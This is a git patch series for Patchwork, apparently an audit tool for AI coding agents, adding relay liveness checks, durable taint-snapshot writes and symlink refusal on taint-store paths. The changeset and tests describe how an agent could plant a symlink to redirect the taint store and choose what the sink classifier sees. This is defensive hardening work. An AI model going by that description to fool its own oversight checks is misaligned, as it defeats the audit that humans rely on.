JSON.stringify({ type: "heartbeat", timestamp: "not-a-date" }), + ].join("\n"), + now: NOW, + }); + + expect(report.heartbeats).toBe(1); + expect(report.silenceMs).toBeNull(); + expect(report.status).toBe("stale"); + expect(report.reasons.join(" ")).toMatch(/cannot establish liveness/); + }); + + it("FAILS on corrupt lines", () => { + const report = assessRelayHealth({ + logContent: [ + event("evt_1"), + "{ this is not json", + heartbeat("2026-10-06T09:59:30.000Z"), + ].join("\n"), + now: NOW, + }); + + expect(report.corrupt).toBe(1); + expect(report.status).toBe("fail"); + expect(relayHealthExitCode(report)).toBe(1); + }); + + it("reports FAIL rather than DEGRADED when both apply, but keeps both reasons", () => { + const report = assessRelayHealth({ + logContent: ["{ broken", heartbeat("2026-10-06T08:00:00.000Z")].join("\n"), + divergence: divergence(3), + now: NOW, + }); + + expect(report.status).toBe("fail"); + expect(relayHealthExitCode(report)).toBe(1); + expect(report.reasons.length).toBe(3); + }); + + it("ignores blank lines and treats a zero divergence marker as healthy", () => { + const report = assessRelayHealth({ + logContent: `\n${heartbeat("2026-10-06T09:59:30.000Z")}\n\n${event("evt_1")}\n`, + divergence: divergence(0), + now: NOW, + }); + + expect(report.corrupt).toBe(0); + expect(report.events).toBe(1); + expect(report.heartbeats).toBe(1); + expect(report.status).toBe("pass"); + }); + + it("uses the newest heartbeat, not the last line", () => { + const report = assessRelayHealth({ + logContent: [ + heartbeat("2026-10-06T09:59:30.000Z"), + heartbeat("2026-10-06T09:00:00.000Z"), + ].join("\n"), + now: NOW, + }); + + expect(report.lastHeartbeatAt).toBe("2026-10-06T09:59:30.000Z"); + expect(report.status).toBe("pass"); + }); + + it("defaults the silence window to five minutes", () => { + expect(DEFAULT_MAX_SILENCE_MS).toBe(300_000); + }); +}); From 6398d0f7dd02836d936f6f0cb0210500eb8bd94f Mon Sep 17 00:00:00 2001 From: JonoGitty Date: Tue, 6 Oct 2026 10:39:23 +0100 Subject: [PATCH 09/11] chore(changeset): v0.6.13 taint durability + relay health Covers F2, F3 and F4 at patch across the fixed group. The note calls out that upgraders may see relay verify flip from PASS to DEGRADED, and that this is the new check working rather than a new fault: the condition was already present and unreported. Co-Authored-By: Claude Opus 5 (1M context) --- .changeset/v0613-taint-durability-relay-health.md | 15 +++++++++++++++ 1 file changed, 15 insertions(+) create mode 100644 .changeset/v0613-taint-durability-relay-health.md diff --git a/.changeset/v0613-taint-durability-relay-health.md b/.changeset/v0613-taint-durability-relay-health.md new file mode 100644 index 0000000..bd513fa --- /dev/null +++ b/.changeset/v0613-taint-durability-relay-health.md @@ -0,0 +1,15 @@ +--- +"@patchwork/core": patch +"@patchwork/agents": patch +"patchwork-audit": patch +--- + +Filesystem tamper-evidence hardening (v0.6.13): durable taint snapshots, symlink refusal on taint paths, and relay liveness checks. + +**Durable taint snapshot writes (F2 / R1-011).** `writeTaintSnapshot` used tmp + rename, which gives atomicity but not durability. Without `fsync`, a crash or power loss between the write and the OS flushing its page cache can leave the snapshot absent or truncated, and a reader that then finds an older-but-still-valid snapshot silently rolls taint *backwards* — taint that was recorded disappears, and a sink that should deny allows. The temp file is now fsynced before the rename, and the parent directory afterwards so the rename itself survives. + +**Symlink refusal on taint-store paths (F3).** Mirrors the existing `patchwork init` defence for `.claude/` and `settings.json`. An agent able to create a symlink in its own home directory could otherwise redirect the taint store: a symlink at the snapshot path makes the reader return an attacker-chosen file, letting the agent select the taint state the sink classifier sees, and a symlink at the taint directory redirects every snapshot, pending marker and lockfile at once. Reads now fail closed (treated as "all taint kinds active") and writes refuse loudly. + +**Relay liveness and delivery checks (F4).** `patchwork relay verify` reported `Integrity: PASS` whenever every line in the relay log parsed as JSON. That said nothing about whether the relay was still *receiving*, so a relay that stopped accepting events months ago reported PASS indefinitely. Verify now also checks heartbeat recency and the delivery-divergence marker, which was already being recorded but which verify ignored. It reports `DEGRADED` when the log may be incomplete, and for the first time sets a process exit code (0 pass, 1 damaged, 2 degraded) — previously it printed `FAIL` on corrupt lines and still exited 0, so any CI or cron check piping it saw success. New `--max-silence ` and `--json` options. + +If you are upgrading and `relay verify` now reports DEGRADED where it previously reported PASS, that is the new check working rather than a new fault: the condition it names was already present and unreported. Note the distinction the output states explicitly — DEGRADED means the log may be **incomplete**, not that it was **edited**. Patchwork can prove the log was not altered. It cannot prove it is complete. From 0f1fbaa44e9b5864d9f95ce7f3aaed715a2d46c4 Mon Sep 17 00:00:00 2001 From: JonoGitty Date: Tue, 6 Oct 2026 10:50:39 +0100 Subject: [PATCH 10/11] fix(core,cli): judge relay divergence on recency, not cumulative count MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit F4 as first written degraded the status whenever the divergence marker held any failures at all. The marker is cumulative and never self-clears, so every install that has ever restarted its relay would read DEGRADED forever. That is worse than the spurious PASS it replaced, because an alarm that is always on teaches people to dismiss it. Verified against this machine: 3,529 accumulated failures whose most recent entry is 48 days old, against a daemon that is currently healthy. The first recorded failure matches a daemon restart to the minute, which is the expected shape — restarting the relay removes its socket briefly, so any delivery in flight at that moment fails. 24 restarts over six months. A non-zero count therefore mostly records transient, long-past and largely unavoidable events. Divergence is now judged on the age of last_failure_at: - Outside the window: a NOTE, status stays PASS. The note still states the count, the age, and that those events are missing from the relay copy, so the information is not lost, just not alarmed on. - Inside the window, daemon alive: the sharp case, reported as 'the relay was reachable and still did not take the event'. That is a genuine fault, distinct from a restart or a sleeping host. - Inside the window, no fresh heartbeat: 'hooks cannot reach the relay'. - No usable timestamp: a note saying the age is unknown, rather than guessing current or historical. The report gains divergenceAgeMs and splits reasons (affect status) from notes (informational). New --divergence-window, default 60 minutes. Confirmed on the live relay: PASS, exit 0, with the historical note, where the previous version reported DEGRADED exit 2. Also corrects the module doc comment, which cited host sleep as the cause. That was wrong for a reason worth recording: if the host is asleep no hook is running either, so there is nothing to fail. Delivery failure needs an active agent AND an unreachable relay. Tests: 5 new (17 total in health.test.ts), including a regression guard built from the real measured shape — 3,529 failures 48 days old plus a healthy daemon must read PASS with a note. Suite 1535 -> 1540. Co-Authored-By: Claude Opus 5 (1M context) --- packages/cli/src/commands/relay.ts | 24 +++++- packages/core/src/index.ts | 1 + packages/core/src/relay/health.ts | 87 +++++++++++++++++++++- packages/core/tests/relay/health.test.ts | 95 ++++++++++++++++++++++-- 4 files changed, 196 insertions(+), 11 deletions(-) diff --git a/packages/cli/src/commands/relay.ts b/packages/cli/src/commands/relay.ts index 05e3182..840d0a3 100644 --- a/packages/cli/src/commands/relay.ts +++ b/packages/cli/src/commands/relay.ts @@ -13,6 +13,7 @@ import { assessRelayHealth, relayHealthExitCode, DEFAULT_MAX_SILENCE_MS, + DEFAULT_DIVERGENCE_WINDOW_MS, type ChainStateResponse, type SealStatusResponse, } from "@patchwork/core"; @@ -132,6 +133,11 @@ export const relayCommand = new Command("relay") "treat heartbeat silence longer than this as degraded", String(DEFAULT_MAX_SILENCE_MS / 60_000), ) + .option( + "--divergence-window ", + "how recent a delivery failure must be to count as current", + String(DEFAULT_DIVERGENCE_WINDOW_MS / 60_000), + ) .option("--json", "emit the report as JSON") .action((opts) => { if (!existsSync(RELAY_LOG_PATH)) { @@ -163,10 +169,17 @@ export const relayCommand = new Command("relay") ? minutes * 60_000 : DEFAULT_MAX_SILENCE_MS; + const windowMinutes = Number(opts.divergenceWindow); + const divergenceWindowMs = + Number.isFinite(windowMinutes) && windowMinutes > 0 + ? windowMinutes * 60_000 + : DEFAULT_DIVERGENCE_WINDOW_MS; + const report = assessRelayHealth({ logContent: readFileSync(RELAY_LOG_PATH, "utf-8"), divergence: readRelayDivergenceMarker(), maxSilenceMs, + divergenceWindowMs, }); if (opts.json) { @@ -199,12 +212,21 @@ export const relayCommand = new Command("relay") ); } if (report.divergenceFailures > 0) { + const current = report.reasons.some((r) => r.includes("deliver")); + const label = `${report.divergenceFailures} failed`; console.log( - ` Delivery: ${chalk.red(`${report.divergenceFailures} failed`)}`, + ` Delivery: ${current ? chalk.red(label) : chalk.dim(`${label} (historical)`)}`, ); } console.log(` Integrity: ${verdict}`); + if (report.notes.length > 0) { + console.log(""); + for (const note of report.notes) { + console.log(chalk.dim(` i ${note}`)); + } + } + if (report.reasons.length > 0) { console.log(""); for (const reason of report.reasons) { diff --git a/packages/core/src/index.ts b/packages/core/src/index.ts index bd4659f..578b919 100644 --- a/packages/core/src/index.ts +++ b/packages/core/src/index.ts @@ -234,6 +234,7 @@ export { assessRelayHealth, relayHealthExitCode, DEFAULT_MAX_SILENCE_MS, + DEFAULT_DIVERGENCE_WINDOW_MS, type RelayHealthStatus, type RelayHealthReport, type AssessRelayHealthInput, diff --git a/packages/core/src/relay/health.ts b/packages/core/src/relay/health.ts index 138f2ef..b4eaab0 100644 --- a/packages/core/src/relay/health.ts +++ b/packages/core/src/relay/health.ts @@ -22,6 +22,30 @@ * * It is a pure function over already-read inputs so it can be tested * without a daemon, a socket or root. + * + * ## Why divergence is judged on recency, not on count + * + * The divergence marker is CUMULATIVE and never self-clears, so a raw + * `failure_count > 0` test degrades forever after a single historical + * failure. Measured on one machine over six months: 3,529 accumulated + * failures, all of them stopping 48 days before the measurement, against + * a daemon that was entirely healthy at the time of asking. The first + * recorded failure matched a daemon restart to the minute, which is the + * expected shape: restarting the relay removes its socket briefly, and + * any delivery in flight at that moment fails. Twenty-four restarts over + * the period. + * + * So a non-zero count mostly records transient, long-past, and largely + * unavoidable events. Degrading on it permanently would mean every + * install that has ever restarted its relay reports DEGRADED forever, and + * an alarm that is always on is worse than no alarm because it teaches + * people to dismiss it. + * + * Historical divergence is therefore reported as a NOTE, and only RECENT + * divergence degrades the status. The sharpest case is called out + * separately: recent failures while the daemon is demonstrably alive + * means the relay was reachable and still did not take the event, which + * is a genuine fault rather than a restart or a sleeping host. */ import type { RelayDivergenceMarker } from "./client.js"; @@ -32,6 +56,12 @@ import type { RelayDivergenceMarker } from "./client.js"; * where a dead relay looks fine. */ export const DEFAULT_MAX_SILENCE_MS = 5 * 60_000; +/** Default window within which a delivery failure is treated as current + * rather than historical. An hour is long enough to catch a fault that + * is still happening and short enough that yesterday's lid-close does + * not read as today's problem. */ +export const DEFAULT_DIVERGENCE_WINDOW_MS = 60 * 60_000; + export type RelayHealthStatus = "pass" | "stale" | "fail"; export interface RelayHealthReport { @@ -45,8 +75,14 @@ export interface RelayHealthReport { /** Milliseconds since the newest heartbeat, or null if there is none. */ silenceMs: number | null; divergenceFailures: number; - /** Human-readable reasons, in the order they were detected. Empty on pass. */ + /** Milliseconds since the most recent delivery failure, or null if the + * marker is absent or carries no usable timestamp. */ + divergenceAgeMs: number | null; + /** Reasons that AFFECT the status, in detection order. Empty on pass. */ reasons: string[]; + /** Informational findings that do NOT affect the status — most often + * historical delivery failures that are no longer current. */ + notes: string[]; } export interface AssessRelayHealthInput { @@ -57,6 +93,8 @@ export interface AssessRelayHealthInput { /** Evaluation time. Injectable so tests are not clock-dependent. */ now?: number; maxSilenceMs?: number; + /** How recent a delivery failure must be to count as current. */ + divergenceWindowMs?: number; } /** @@ -69,8 +107,17 @@ export function assessRelayHealth( ): RelayHealthReport { const now = input.now ?? Date.now(); const maxSilenceMs = input.maxSilenceMs ?? DEFAULT_MAX_SILENCE_MS; + const divergenceWindowMs = + input.divergenceWindowMs ?? DEFAULT_DIVERGENCE_WINDOW_MS; const divergenceFailures = input.divergence?.failure_count ?? 0; + const lastFailureRaw = input.divergence?.last_failure_at; + let divergenceAgeMs: number | null = null; + if (typeof lastFailureRaw === "string") { + const parsed = Date.parse(lastFailureRaw); + if (!Number.isNaN(parsed)) divergenceAgeMs = now - parsed; + } + let events = 0; let heartbeats = 0; let corrupt = 0; @@ -106,6 +153,7 @@ export function assessRelayHealth( const silenceMs = newestHeartbeatMs === null ? null : now - newestHeartbeatMs; const reasons: string[] = []; + const notes: string[] = []; let status: RelayHealthStatus = "pass"; if (corrupt > 0) { @@ -131,9 +179,30 @@ export function assessRelayHealth( } if (divergenceFailures > 0) { - degrade( - `${divergenceFailures} failed deliver${divergenceFailures === 1 ? "y" : "ies"} recorded — hooks cannot reach the relay, so recent events are missing`, - ); + const plural = divergenceFailures === 1 ? "y" : "ies"; + const daemonAlive = silenceMs !== null && silenceMs <= maxSilenceMs; + if (divergenceAgeMs === null) { + // Count without a usable timestamp: cannot tell current from + // historical, so say so rather than guessing either way. + notes.push( + `${divergenceFailures} failed deliver${plural} recorded, with no usable timestamp — age unknown`, + ); + } else if (divergenceAgeMs > divergenceWindowMs) { + // Historical. On a laptop this is the normal steady state: the + // host slept, deliveries failed, the counter never cleared. + notes.push( + `${divergenceFailures} failed deliver${plural} recorded, most recently ${formatAge(divergenceAgeMs)} ago — historical, not current. Those events are missing from the relay copy, but nothing is failing now.`, + ); + } else if (daemonAlive) { + // The sharp case: reachable daemon, and delivery still failed. + degrade( + `${divergenceFailures} failed deliver${plural}, most recently ${formatAge(divergenceAgeMs)} ago, while the daemon is alive — the relay was reachable and still did not take the event`, + ); + } else { + degrade( + `${divergenceFailures} failed deliver${plural}, most recently ${formatAge(divergenceAgeMs)} ago — hooks cannot reach the relay, so recent events are missing`, + ); + } } return { @@ -144,10 +213,20 @@ export function assessRelayHealth( lastHeartbeatAt, silenceMs, divergenceFailures, + divergenceAgeMs, reasons, + notes, }; } +/** Compact human age, e.g. "45s", "12m", "3h", "9d". */ +function formatAge(ms: number): string { + if (ms < 60_000) return `${Math.round(ms / 1000)}s`; + if (ms < 3_600_000) return `${Math.round(ms / 60_000)}m`; + if (ms < 86_400_000) return `${Math.round(ms / 3_600_000)}h`; + return `${Math.round(ms / 86_400_000)}d`; +} + /** Process exit code for a report. 0 pass, 1 damaged, 2 degraded. */ export function relayHealthExitCode(report: RelayHealthReport): number { if (report.status === "fail") return 1; diff --git a/packages/core/tests/relay/health.test.ts b/packages/core/tests/relay/health.test.ts index 2d70eaf..d33f7f1 100644 --- a/packages/core/tests/relay/health.test.ts +++ b/packages/core/tests/relay/health.test.ts @@ -3,6 +3,7 @@ import { assessRelayHealth, relayHealthExitCode, DEFAULT_MAX_SILENCE_MS, + DEFAULT_DIVERGENCE_WINDOW_MS, type RelayDivergenceMarker, } from "../../src/index.js"; @@ -27,13 +28,16 @@ function event(id: string): string { }); } -function divergence(failures: number): RelayDivergenceMarker { +function divergence( + failures: number, + lastFailureAt = "2026-10-06T09:59:00.000Z", +): RelayDivergenceMarker { return { schema_version: 1, failure_count: failures, - first_failure_at: "2026-10-06T08:00:00.000Z", - last_failure_at: "2026-10-06T09:59:00.000Z", - last_error: "connect EACCES /Library/Patchwork/relay.sock", + first_failure_at: "2026-05-01T14:50:15.015Z", + last_failure_at: lastFailureAt, + last_error: "Relay connection timed out", }; } @@ -59,7 +63,7 @@ describe("assessRelayHealth (F4)", () => { // The regression this whole module exists for: in v0.6.10 the socket // group was wrong, every delivery returned EACCES, and verify reported // PASS for days on a chain that was receiving nothing. - it("is DEGRADED when deliveries are failing, even though every line parses", () => { + it("is DEGRADED when deliveries are failing now, even though every line parses", () => { const report = assessRelayHealth({ logContent: [event("evt_1"), heartbeat("2026-10-06T09:59:30.000Z")].join( "\n", @@ -71,10 +75,87 @@ describe("assessRelayHealth (F4)", () => { expect(report.corrupt).toBe(0); expect(report.status).toBe("stale"); expect(report.divergenceFailures).toBe(417); - expect(report.reasons.join(" ")).toMatch(/hooks cannot reach the relay/); + // Daemon is alive and delivery still failed — the sharp case. + expect(report.reasons.join(" ")).toMatch( + /relay was reachable and still did not take the event/, + ); expect(relayHealthExitCode(report)).toBe(2); }); + it("names the daemon-unreachable case differently from the daemon-alive case", () => { + const report = assessRelayHealth({ + // No fresh heartbeat: the daemon was not there to take it. + logContent: [event("evt_1"), heartbeat("2026-10-06T09:00:00.000Z")].join( + "\n", + ), + divergence: divergence(5), + now: NOW, + }); + + expect(report.status).toBe("stale"); + expect(report.reasons.join(" ")).toMatch(/hooks cannot reach the relay/); + }); + + // Regression guard for the cry-wolf defect. The divergence marker is + // cumulative and never self-clears, so a raw failure_count > 0 test + // degrades forever after a single historical failure. On a laptop that + // is permanent: this is the real shape measured on one MacBook, 3,529 + // cumulative failures from months of lid-close, with a perfectly + // healthy daemon right now. It must read PASS with a note, because an + // alarm that is always on teaches people to dismiss it. + it("PASSES with a note when divergence is historical, not current", () => { + const report = assessRelayHealth({ + logContent: [event("evt_1"), heartbeat("2026-10-06T09:59:30.000Z")].join( + "\n", + ), + divergence: divergence(3529, "2026-10-05T22:14:00.000Z"), + now: NOW, + }); + + expect(report.status).toBe("pass"); + expect(relayHealthExitCode(report)).toBe(0); + expect(report.reasons).toEqual([]); + expect(report.notes.join(" ")).toMatch(/historical, not current/); + // The missing events are still acknowledged, just not alarmed on. + expect(report.notes.join(" ")).toMatch(/missing from the relay copy/); + expect(report.divergenceFailures).toBe(3529); + }); + + it("respects a caller-supplied divergence window", () => { + const log = [event("evt_1"), heartbeat("2026-10-06T09:59:30.000Z")].join( + "\n", + ); + const marker = divergence(12, "2026-10-06T07:00:00.000Z"); // 3h ago + + expect(assessRelayHealth({ logContent: log, divergence: marker, now: NOW }).status).toBe( + "pass", + ); + expect( + assessRelayHealth({ + logContent: log, + divergence: marker, + now: NOW, + divergenceWindowMs: 4 * 60 * 60_000, + }).status, + ).toBe("stale"); + }); + + it("notes, rather than guesses, when the divergence marker has no usable timestamp", () => { + const report = assessRelayHealth({ + logContent: heartbeat("2026-10-06T09:59:30.000Z"), + divergence: divergence(9, "not-a-date"), + now: NOW, + }); + + expect(report.divergenceAgeMs).toBeNull(); + expect(report.status).toBe("pass"); + expect(report.notes.join(" ")).toMatch(/age unknown/); + }); + + it("defaults the divergence window to one hour", () => { + expect(DEFAULT_DIVERGENCE_WINDOW_MS).toBe(3_600_000); + }); + it("is DEGRADED when the daemon has stopped beating", () => { const report = assessRelayHealth({ logContent: [event("evt_1"), heartbeat("2026-10-06T09:00:00.000Z")].join( @@ -156,6 +237,7 @@ describe("assessRelayHealth (F4)", () => { expect(report.status).toBe("fail"); expect(relayHealthExitCode(report)).toBe(1); + // corrupt line + stale heartbeat + current delivery failures expect(report.reasons.length).toBe(3); }); @@ -170,6 +252,7 @@ describe("assessRelayHealth (F4)", () => { expect(report.events).toBe(1); expect(report.heartbeats).toBe(1); expect(report.status).toBe("pass"); + expect(report.notes).toEqual([]); }); it("uses the newest heartbeat, not the last line", () => { From b4773c1507317293a60b0196671a5ed50e09fc22 Mon Sep 17 00:00:00 2001 From: JonoGitty Date: Tue, 6 Oct 2026 10:58:29 +0100 Subject: [PATCH 11/11] style: use template literals in the new taint-store code Three style/useTemplate violations introduced by the F2/F3 work. The remaining named-rule hits in these files (5 noNonNullAssertion, 2 useTemplate) are all on pre-existing lines and belong to X2, the repo-wide biome backlog, not here. Co-Authored-By: Claude Opus 5 (1M context) --- packages/agents/src/claude-code/taint-store.ts | 2 +- packages/agents/tests/claude-code/taint-store.test.ts | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/packages/agents/src/claude-code/taint-store.ts b/packages/agents/src/claude-code/taint-store.ts index 125f6de..38454c8 100644 --- a/packages/agents/src/claude-code/taint-store.ts +++ b/packages/agents/src/claude-code/taint-store.ts @@ -247,7 +247,7 @@ export function writeTaintSnapshot( reconcileMode(dir, TAINT_DIR_MODE); } const tmpPath = `${p}.${randomBytes(4).toString("hex")}.tmp`; - const payload = JSON.stringify(snapshot, null, 2) + "\n"; + const payload = `${JSON.stringify(snapshot, null, 2)}\n`; // F2 (R1-011): durable write. tmp + rename gives atomicity but not // durability — without fsync, a crash or power loss between the write // and the OS flushing its page cache can leave the snapshot absent or diff --git a/packages/agents/tests/claude-code/taint-store.test.ts b/packages/agents/tests/claude-code/taint-store.test.ts index e4f7339..c5940a9 100644 --- a/packages/agents/tests/claude-code/taint-store.test.ts +++ b/packages/agents/tests/claude-code/taint-store.test.ts @@ -236,7 +236,7 @@ describe("taint-store", () => { // A perfectly valid snapshot, parked somewhere the agent chose. const decoy = join(tmpDir, "decoy-snapshot.json"); const valid = createSnapshot(sessionId); - writeFileSync(decoy, JSON.stringify(valid, null, 2) + "\n", { + writeFileSync(decoy, `${JSON.stringify(valid, null, 2)}\n`, { mode: 0o600, }); @@ -254,7 +254,7 @@ describe("taint-store", () => { const valid = createSnapshot(sessionId); writeFileSync( join(decoyDir, getTaintSnapshotPath(sessionId).split("/").pop() as string), - JSON.stringify(valid, null, 2) + "\n", + `${JSON.stringify(valid, null, 2)}\n`, { mode: 0o600 }, );